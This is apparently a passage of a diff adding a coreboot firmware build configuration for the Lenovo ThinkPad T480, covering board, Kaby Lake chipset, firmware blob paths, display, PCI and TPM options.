CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ERYING is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set +CONFIG_VENDOR_LENOVO=y +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set +# CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set +CONFIG_MAINBOARD_FAMILY="T480" +CONFIG_MAINBOARD_PART_NUMBER="T480" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="lenovo/sklkbl_thinkpad" +CONFIG_VGA_BIOS_ID="8086,0406" +CONFIG_DIMM_MAX=2 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="LENOVO" +CONFIG_CBFS_SIZE=0xEEC000 +CONFIG_CONSOLE_SERIAL=y +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y +CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y +CONFIG_MAX_CPUS=8 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_POST_DEVICE=y +CONFIG_POST_IO=y +CONFIG_UART_FOR_CONSOLE=0 +CONFIG_VARIANT_DIR="t480" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +# CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="T480" +# CONFIG_CONSOLE_POST is not set +CONFIG_MAX_SOCKET=1 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_USE_PM_ACPI_TIMER=y +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0x40000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_USE_LEGACY_8254_TIMER=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_IFD_BIN_PATH="@BLOB_DIR@/t480/ifd_16" +CONFIG_ME_BIN_PATH="@BLOB_DIR@/t480/me.bin" +CONFIG_GBE_BIN_PATH="@BLOB_DIR@/t480/gbe" +CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_DEBUG_SMI is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set +CONFIG_HAVE_IFD_BIN=y +# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set +# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set +# CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M900_TINY is not set +# CONFIG_BOARD_LENOVO_M920Q is not set +# CONFIG_BOARD_LENOVO_S230U is not set +CONFIG_BOARD_LENOVO_T480=y +# CONFIG_BOARD_LENOVO_T480S is not set +# CONFIG_BOARD_LENOVO_T400 is not set +# CONFIG_BOARD_LENOVO_T500 is not set +# CONFIG_BOARD_LENOVO_R400 is not set +# CONFIG_BOARD_LENOVO_R500 is not set +# CONFIG_BOARD_LENOVO_W500 is not set +# CONFIG_BOARD_LENOVO_T410 is not set +# CONFIG_BOARD_LENOVO_T420 is not set +# CONFIG_BOARD_LENOVO_T420S is not set +# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set +# CONFIG_BOARD_LENOVO_T430S is not set +# CONFIG_BOARD_LENOVO_T431S is not set +# CONFIG_BOARD_LENOVO_T520 is not set +# CONFIG_BOARD_LENOVO_W520 is not set +# CONFIG_BOARD_LENOVO_T530 is not set +# CONFIG_BOARD_LENOVO_W530 is not set +# CONFIG_BOARD_LENOVO_T60 is not set +# CONFIG_BOARD_LENOVO_Z61T is not set +# CONFIG_BOARD_LENOVO_R60 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M710S is not set +# CONFIG_BOARD_LENOVO_X131E is not set +# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set +# CONFIG_BOARD_LENOVO_X200 is not set +# CONFIG_BOARD_LENOVO_X301 is not set +# CONFIG_BOARD_LENOVO_X201 is not set +# CONFIG_BOARD_LENOVO_X220 is not set +# CONFIG_BOARD_LENOVO_X220I is not set +# CONFIG_BOARD_LENOVO_X1 is not set +# CONFIG_BOARD_LENOVO_X230 is not set +# CONFIG_BOARD_LENOVO_X230T is not set +# CONFIG_BOARD_LENOVO_X230S is not set +# CONFIG_BOARD_LENOVO_X230_EDP is not set +# CONFIG_BOARD_LENOVO_X60 is not set +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON=y +CONFIG_LENOVO_TBFW_BIN="@BLOB_DIR@/t480/tb.bin" +CONFIG_TTYS0_BAUD=115200 +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 +CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" +CONFIG_TPM_MEASURED_BOOT=y +CONFIG_LINUX_COMMAND_LINE="" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x01000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" +CONFIG_FSP_M_FILE="@BLOB_DIR@/t480/Fsp_M.fd" +CONFIG_FSP_S_FILE="@BLOB_DIR@/t480/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT_SIZE=0x0 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IFD_CHIPSET="sklkbl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_ROOT_PORTS=24 +CONFIG_PCR_BASE_ADDRESS=0xfd000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=24000000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=2 +CONFIG_SOC_INTEL_I2C_DEV_MAX=6 +# CONFIG_ENABLE_SATA_TEST_MODE is not set +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/KabylakeFspBinPkg/Include/" +CONFIG_FSP_FD_PATH="3rdparty/fsp/KabylakeFspBinPkg/Fsp.fd" +CONFIG_SOC_INTEL_COMMON_DEBUG_CONSENT=0 +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_FSP_PUBLISH_MBP_HOB=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_MAX_HECI_DEVICES=5 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y +CONFIG_SOC_INTEL_KABYLAKE=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +# CONFIG_USE_INTEL_FSP_MP_INIT is not set +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PCR=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PADCFG_PADTOL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +CONFIG_SOC_INTEL_GFX_HAVE_DDI_A_BIFURCATION=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_DISCOVERABLE=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SGX=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_LOCK_MEMORY=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SA_ENABLE_DPR=y +CONFIG_HAVE_CAPID_A_REGISTER=y +CONFIG_HAVE_BDSM_BGSM_REGISTER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +# CONFIG_MMA is not set +CONFIG_SOC_INTEL_COMMON_NHLT=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_LENOVO_H8=y +CONFIG_H8_BEEP_ON_DEATH=y +CONFIG_H8_FLASH_LEDS_ON_DEATH=y +# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set +# CONFIG_H8_FN_CTRL_SWAP is not set +CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y +CONFIG_H8_HAS_PRIMARY_FN_KEYS=y +CONFIG_H8_HAS_LEDLOGO=y +CONFIG_EC_LENOVO_PMH7=y + +# +# Intel Firmware +# +CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y +CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 +CONFIG_UDK_BASE=y +CONFIG_UDK_2017_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202111_VERSION=202111 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_202305_VERSION=202305 +CONFIG_UDK_VERSION=2017 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_RUN_FSP_GOP is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set +CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y +# CONFIG_BOOTSPLASH is not set +CONFIG_DEFAULT_SCREEN_ROTATION_NONE=y +# CONFIG_DEFAULT_SCREEN_ROTATION_90 is not set +# CONFIG_DEFAULT_SCREEN_ROTATION_180 is not set +# CONFIG_DEFAULT_SCREEN_ROTATION_270 is not set +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_DRIVERS_EFI_FW_INFO is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_DRIVERS_OPTION_CFR is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +# CONFIG_FSP_USE_REPO 